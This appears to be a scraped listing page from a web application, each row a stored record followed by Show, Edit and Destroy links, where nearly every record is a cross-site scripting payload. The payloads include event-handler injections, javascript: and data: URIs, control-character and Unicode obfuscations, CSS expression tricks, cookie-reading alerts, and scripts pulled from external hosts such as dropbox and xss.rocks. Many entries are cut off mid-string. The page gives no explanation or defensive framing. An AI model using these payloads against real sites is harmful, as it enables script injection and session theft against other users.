| <IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <INPUT TYPE="BUTTON" action="alert('XSS')"/> |
Show |
Edit |
Destroy |
| <META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)"; |
Show |
Edit |
Destroy |
| "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Show |
Edit |
Destroy |
| <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
Show |
Edit |
Destroy |
| "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1> |
Show |
Edit |
Destroy |
| "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1> |
Show |
Edit |
Destroy |
| "></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0 |
Show |
Edit |
Destroy |
| g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1> |
Show |
Edit |
Destroy |
| "><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123</h1> |
Show |
Edit |
Destroy |
| "><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1> |
Show |
Edit |
Destroy |
| ><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr |
Show |
Edit |
Destroy |
| <IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME> |
Show |
Edit |
Destroy |
| "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1> |
Show |
Edit |
Destroy |
| <iframe src=http://xss.rocks/scriptlet.html < |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Show |
Edit |
Destroy |
| "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1> |
Show |
Edit |
Destroy |
| <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
Show |
Edit |
Destroy |
| <iframe src=" |
Show |
Edit |
Destroy |
| <svg><style>{font-family |
Show |
Edit |
Destroy |
| <img/src=`` onerror=this.onerror=confirm(1) |
Show |
Edit |
Destroy |
| <input/onmouseover="javaSCRIPT |
Show |
Edit |
Destroy |
| <sVg><scRipt >alert |
Show |
Edit |
Destroy |
| <img src=`` |
Show |
Edit |
Destroy |
| <script/ |
Show |
Edit |
Destroy |
| <form><isindex formaction="javascript |
Show |
Edit |
Destroy |
| <iframe/src="data:text/html; |
Show |
Edit |
Destroy |
| <script /**/>/**/alert(1)/**/</script /**/ |
Show |
Edit |
Destroy |
| <ScRipT 5-0*3 9/3=>prompt(1)</ScRipT giveanswerhere=? |
Show |
Edit |
Destroy |
| <meta content=" |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <svg><script xlink:href=data |
Show |
Edit |
Destroy |
| <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} |
Show |
Edit |
Destroy |
| <iframe/src="data:text/html,<svg |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> |
Show |
Edit |
Destroy |
| <iframe src=javascript |
Show |
Edit |
Destroy |
| <form><a href="javascript:\u0061lert |
Show |
Edit |
Destroy |
| <a href="data:application/x-x509-user-cert; |
Show |
Edit |
Destroy |
| http://www.google<script .com>alert(document.location)</script |
Show |
Edit |
Destroy |
| <img/ |
Show |
Edit |
Destroy |
| <form><iframe |
Show |
Edit |
Destroy |
| <img/src=@ |
Show |
Edit |
Destroy |
| <a |
Show |
Edit |
Destroy |
| <style/onload=prompt |
Show |
Edit |
Destroy |
| <script ^__^>alert(String.fromCharCode(49))</script ^__^ |
Show |
Edit |
Destroy |
| </style |
Show |
Edit |
Destroy |
| <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ |
Show |
Edit |
Destroy |
| <a href="javascript:void(0)" onmouseover= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <form><textarea |
Show |
Edit |
Destroy |
| <iframe srcdoc=' |
Show |
Edit |
Destroy |
| <///style///><span / onmousemove='alert |
Show |
Edit |
Destroy |
| <style/onload= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <marquee onstart='javascript:alert |
Show |
Edit |
Destroy |
| <div/style="width:expression(confirm(1))">X</div> {IE7} |
Show |
Edit |
Destroy |
| <iframe// src=javaSCRIPT |
Show |
Edit |
Destroy |
| //<form/action=javascript |
Show |
Edit |
Destroy |
| /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> |
Show |
Edit |
Destroy |
| </font>/<svg><style>{src |
Show |
Edit |
Destroy |
| //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ |
Show |
Edit |
Destroy |
| <a/href="javascript: |
Show |
Edit |
Destroy |
| </plaintext\></|\><plaintext/onmouseover=prompt(1) |
Show |
Edit |
Destroy |
| </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert |
Show |
Edit |
Destroy |
| <a href="javascript |
Show |
Edit |
Destroy |
| <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <div onmouseover='alert |
Show |
Edit |
Destroy |
| <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <var onmouseover="prompt(1)">On Mouse Over</var> |
Show |
Edit |
Destroy |
| <a href=javascript |
Show |
Edit |
Destroy |
| <a href="jAvAsCrIpT |
Show |
Edit |
Destroy |
| <script src="data:text/javascript,alert(1)"></script> |
Show |
Edit |
Destroy |
| <img src="/" =_=" title="onerror='prompt(1)'"> |
Show |
Edit |
Destroy |
| <iframe/src \/\/onload = prompt(1) |
Show |
Edit |
Destroy |
| <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=alert(1) |
Show |
Edit |
Destroy |
| <svg/onload=alert(1) |
Show |
Edit |
Destroy |
| <input value=<><iframe/src=javascript:confirm(1) |
Show |
Edit |
Destroy |
| <iframe src=j |
Show |
Edit |
Destroy |
| http://www.<script>alert(1)</script .com |
Show |
Edit |
Destroy |
| <iframe src=j |
Show |
Edit |
Destroy |
| <svg><script ?>alert(1) |
Show |
Edit |
Destroy |
| <img src=`xx:xx`onerror=alert(1)> |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;javascript |
Show |
Edit |
Destroy |
| <svg contentScriptType=text/vbs><script>MsgBox 1 |
Show |
Edit |
Destroy |
| <a href="data:text/html;base64_,<svg/onload=\u0061 |
Show |
Edit |
Destroy |
| <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> |
Show |
Edit |
Destroy |
| <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U |
Show |
Edit |
Destroy |
| <script/src="data |
Show |
Edit |
Destroy |
| <object data=javascript |
Show |
Edit |
Destroy |
| <script/src=data |
Show |
Edit |
Destroy |
| <body/onload= |
Show |
Edit |
Destroy |
| <script> - -1- - alert(1)</script> |
Show |
Edit |
Destroy |
| <svg><script onlypossibleinopera:-)> alert(1) |
Show |
Edit |
Destroy |
| <script itworksinallbrowsers>/*<script* */alert(1)</script |
Show |
Edit |
Destroy |
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j |
Show |
Edit |
Destroy |
| <svg><script>// |
Show |
Edit |
Destroy |
| <div/onmouseover='alert(1)'> style="x:"> |
Show |
Edit |
Destroy |
| <img src ?itworksonchrome?\/onerror = alert(1) |
Show |
Edit |
Destroy |
| <--`<img/src=` onerror=alert(1)> --!> |
Show |
Edit |
Destroy |
| <script x> alert(1) </script 1=2 |
Show |
Edit |
Destroy |
| <script/src= |
Show |
Edit |
Destroy |
| <form><button formaction=javascript |
Show |
Edit |
Destroy |
| "><img src=x onerror=window.open('https://www.google.com/');> |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik ></object> |
Show |
Edit |
Destroy |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <iframe src="data:text/html,<script>alert(1)</script>"></iframe> |
Show |
Edit |
Destroy |
| <script\x20type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <a href="data:text/html;blabla, |
Show |
Edit |
Destroy |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x09type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| '`"><\x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| '`"><\x00script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
Show |
Edit |
Destroy |
| <video src=1 href=1 onerror="javascript:alert(1)"></video> |
Show |
Edit |
Destroy |
| <audio src=1 href=1 onerror="javascript:alert(1)"></audio> |
Show |
Edit |
Destroy |
| <body src=1 href=1 onerror="javascript:alert(1)"></body> |
Show |
Edit |
Destroy |
| <image src=1 href=1 onerror="javascript:alert(1)"></image> |
Show |
Edit |
Destroy |
| <object src=1 href=1 onerror="javascript:alert(1)"></object> |
Show |
Edit |
Destroy |
| <script src=1 href=1 onerror="javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize> |
Show |
Edit |
Destroy |
| <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange> |
Show |
Edit |
Destroy |
| <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad> |
Show |
Edit |
Destroy |
| <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter> |
Show |
Edit |
Destroy |
| <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus> |
Show |
Edit |
Destroy |
| <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange> |
Show |
Edit |
Destroy |
| <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll> |
Show |
Edit |
Destroy |
| <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp> |
Show |
Edit |
Destroy |
| <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange> |
Show |
Edit |
Destroy |
| <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad> |
Show |
Edit |
Destroy |
| <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad> |
Show |
Edit |
Destroy |
| <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide> |
Show |
Edit |
Destroy |
| <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver> |
Show |
Edit |
Destroy |
| <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload> |
Show |
Edit |
Destroy |
| <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange> |
Show |
Edit |
Destroy |
| <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel> |
Show |
Edit |
Destroy |
| <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave> |
Show |
Edit |
Destroy |
| <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad> |
Show |
Edit |
Destroy |
| <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow> |
Show |
Edit |
Destroy |
| <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange> |
Show |
Edit |
Destroy |
| <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange> |
Show |
Edit |
Destroy |
| <applet onError applet onError="javascript:javascript:alert(1)"></applet onError> |
Show |
Edit |
Destroy |
| <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver> |
Show |
Edit |
Destroy |
| <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart> |
Show |
Edit |
Destroy |
| <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus> |
Show |
Edit |
Destroy |
| <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad> |
Show |
Edit |
Destroy |
| <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter> |
Show |
Edit |
Destroy |
| <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload> |
Show |
Edit |
Destroy |
| <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll> |
Show |
Edit |
Destroy |
| <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> |
Show |
Edit |
Destroy |
| <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown> |
Show |
Edit |
Destroy |
| <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> |
Show |
Edit |
Destroy |
| <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> |
Show |
Edit |
Destroy |
| <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> |
Show |
Edit |
Destroy |
| <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> |
Show |
Edit |
Destroy |
| <body onResize body onResize="javascript:javascript:alert(1)"></body onResize> |
Show |
Edit |
Destroy |
| <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> |
Show |
Edit |
Destroy |
| <object onError object onError="javascript:javascript:alert(1)"></object onError> |
Show |
Edit |
Destroy |
| <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> |
Show |
Edit |
Destroy |
| <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> |
Show |
Edit |
Destroy |
| <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> |
Show |
Edit |
Destroy |
| <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> |
Show |
Edit |
Destroy |
| <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> |
Show |
Edit |
Destroy |
| <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> |
Show |
Edit |
Destroy |
| <body onunload body onunload="javascript:javascript:alert(1)"></body onunload> |
Show |
Edit |
Destroy |
| <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> |
Show |
Edit |
Destroy |
| <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> |
Show |
Edit |
Destroy |
| <body onload body onload="javascript:javascript:alert(1)"></body onload> |
Show |
Edit |
Destroy |
| <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> |
Show |
Edit |
Destroy |
| <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> |
Show |
Edit |
Destroy |
| <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> |
Show |
Edit |
Destroy |
| <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> |
Show |
Edit |
Destroy |
| <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> |
Show |
Edit |
Destroy |
| <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> |
Show |
Edit |
Destroy |
| <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> |
Show |
Edit |
Destroy |
| <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> |
Show |
Edit |
Destroy |
| <svg onload svg onload="javascript:javascript:alert(1)"></svg onload> |
Show |
Edit |
Destroy |
| '"`><script>/* *\x2Fjavascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <body onblur body onblur="javascript:javascript:alert(1)"></body onblur> |
Show |
Edit |
Destroy |
| \x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0A |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0D |
Show |
Edit |
Destroy |
| <script charset="\x22>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0B |
Show |
Edit |
Destroy |
| <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| `"'><img src='#\x27 onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p> |
Show |
Edit |
Destroy |
| --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <script>/* *\x2A/javascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <script>/* *\x00/javascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF |
Show |
Edit |
Destroy |
| <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF |
Show |
Edit |
Destroy |
| '`"><\x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| '`"><\x00script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script src="data:text/plain\x2Cjavascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| "'`><\x00img src=xxx:x onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script src="data:\xD4\x8F,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script\x20type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script src="data:\xCB\x8F,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script\x09type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| ABC<div style="x:expression\x5C(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| ABC<div style="x:expression\x00(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x09expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x20expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x00expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
